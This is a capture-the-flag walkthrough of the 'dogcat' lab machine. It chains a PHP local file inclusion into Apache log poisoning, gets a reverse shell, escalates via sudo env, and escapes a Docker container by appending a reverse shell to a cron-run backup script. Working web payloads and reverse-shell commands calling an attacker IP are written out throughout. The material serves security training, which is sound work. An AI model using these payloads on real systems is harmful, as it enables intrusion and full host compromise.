🐶dogcat

I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

Enumeration

I first started with an Nmap service and script scan to identify the running services.

nmap -sC -sV 10.10.10.10
-sC | default scripts
-sV | version detection
Host is up (0.097s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2431192ab1971a044e2c36ac840a7587 (RSA)
|   256 213d461893aaf9e7c9b54c0f160b71e1 (ECDSA)
|_  256 c1fb7d732b574a8bdcd76f49bb3bd020 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Taking a look at the website, the first thing that was apparent to me was the URL, which had a query parameter of ?view=dog or ?view=cat depending on what was clicked. Considering the challenge description, I assumed the parameter was susceptible to directory traversal and thus local file inclusion (LFI).

I also ran a Feroxbuster scan on the web application to determine if there were any other directories or files that might be useful, such as a /upload endpoint.

feroxbuster -u http://10.10.10.10
-u | URL/host

This unfortunately did not yield any results, so the only thing that seems to be exploitable is the URL query paramater.

Web Exploitation

Hence the challenge description, I began to try different payloads for LFI. The first thing I noticed was that if ?view did not contain dog or cat, then an error would appear.

I then began to test the logic of determining whether dog or cat was included. For example, is the application just checking for "dog" substring? Or is it a direct comparison of $_GET["view"] == "dog". It turned out to be the former, luckily.

If something like dogs/../test is passed, we can see the application attempts to call include() with the file being passed. Further, it automatically appends ".php" to the extension. Thus:

?view=dog => include(dog.php)
?view=cat => include(cat.php)

But, as we saw, it only checks for substrings. So, we can trick it into including a file that is not cat.php or dog.php.

I found this StackOverFlow post about vulnerabilities with including aribtrary data. One of the things I discovered was the use of PHP Wrappers, like php://filter. We can call these wrappers to do certain things, such as read a file and base64 encode it.

For example, if we set ?view to the following payload:

?view=php://filter/read=convert.base64-encode/resource=dogs/../index

The page will output the contents of index.php in base64, which we can decode to figure out the inner-workings of the application.

This results in the following index.php file:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

It pretty much does exactly what I thought it did. Checks for the substring, appends ".php", and so on. However, one key note is that there is a check for ?ext query parameter. This is what determines the extension. If it is not set, then ".php" is appended by default, however, we can set ?ext= to have no extension.

Knowing this, I now wanted to test for LFI.

?view=php://filter/read=convert.base64-encode/resource=dogs/../../../../etc/passwd&ext=

And what do you know! We were able to see the base64 encoded contents of /etc/passwd. Unfortunately, there were no interesting entries. So, we need to continue to exploit and chain LFI into Remote Code Execution (RCE).

Exploitation

Knowing that we do indeed have LFI, we can utilize Apache Log Poisoning. Essentially, we inject PHP into the Apache server logs, and then we use LFI to load the logs, which will in turn execute our injected PHP.

There are two ways of doing this:

  1. User Agent We can modify our user-agent to <?php system($_GET['c']); ?> and then access the web application. This will then store that code in the Apache logs, since Apache stores users agents.

  2. Netcat We can also just send <?php system($_GET['c']); ?> to the web server using netcat. Simply connect with nc 10.10.10.10 80 and then send the payload. We will get an error about the server being unable to handle the request, but that's fine.

Now we've injected the code into the Apache logs, and can pass a new query paramater, ?c which will be our code we wish to be executed.

h?view=dogs/../../../../var/log/apache2/access.log&ext=&c=whoami

Here we can see we have successfully chained LFI into RCE. I ran some additional commands such as "hostname" and "ls", and one of the interesting entries I found in the directory was flag.php. Using the same method to get the contents of index.php, I got the contents of flag.php and retrieved flag 1/4.

I started a Netcat listener and generated a PHP reverse shell.

nc -lvnp 4444
?view=dogs/../../../../../../../var/log/apache2/access.log&ext=&c=php%20-r%20%27$sock=fsockopen(%2210.6.22.182%22,4444);$proc=proc_open(%22sh%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27

Once I had the initial shell, I wanted to upgrade it to an interactive TTY shell so I can get tab-completion and other quality of life features. This is relatively simple:

SHELL=/bin/bash script -q /dev/null

# [Ctrl+Shift+Z] -> Suspends the current shell

stty raw -echo && fg

# and then select the suspended shell

Some basic enumeration cd ../ got me flag 2/4.

Privilege Escalation

Now it is time to escalate our privileges. Let's start with a simple sudo -l to determine what our user has permission to sudo.

User www-data may run the following commands on 6fc02ea2cc71:
    (root) NOPASSWD: /usr/bin/env

GTFOBINs have a nifty env GTFOBIN that we can use to escalate to root.

sudo env /bin/bash
cd /root

And that is flag 3/4!

Docker Escape

We know that this box consists of a Docker escape because the description told us so. Looking at /root, we can notice a .Dockerenv file, so we know this web-server is a docker container. I began to check through directories like /bin, /var, etc, until I found /opt/backups. In this directory were two files: backup.sh and backup.tar.

It looks like /root/container is being archived as a tar and being stored in /root/container/backup. We can untar the backup to get more of an understanding how this works.

tar xvf backup.tar

This will deflate backup.tar and reveal the /root directory of the actual machine (not the Docker container). This lets us see how exactly this container is being ran. We can look at .Dockerfile, the source to the web app, and an interesting launch.sh file.

The -v /root/container/backup:/opt/backups is a bind mount. This means that the volume /opt/backups (Container) is bound to /root/container/backup (Host). Any changes in one directory will be reflected to the other directory.

Essentially, a backup is made on the host machine (backup.tar) and that file is reflected to the Docker container because of the bind mount. We can also take a look at ls and see that the backup is created every minute, so it's probably some sort of cronjob on the host. So, we should be able to modify backup.sh and the file should be reflected on the Host and executed by the cronjob.

Let's try creating another reverse shell:

nc -lvnp 2000

And then append a reverse shell payload to /opt/backups/backup.sh:

echo "/bin/bash -i >& /dev/tcp/10.6.22.182/2000 0>&1" >> backup.sh

We should see a connection to our listener, and we now have a shell as root on the host machine, thus escaping the Docker container. And we also now have flag 4/4.

One last note: We can verify my theory about the cronjob by checking

crontab -l

Last updated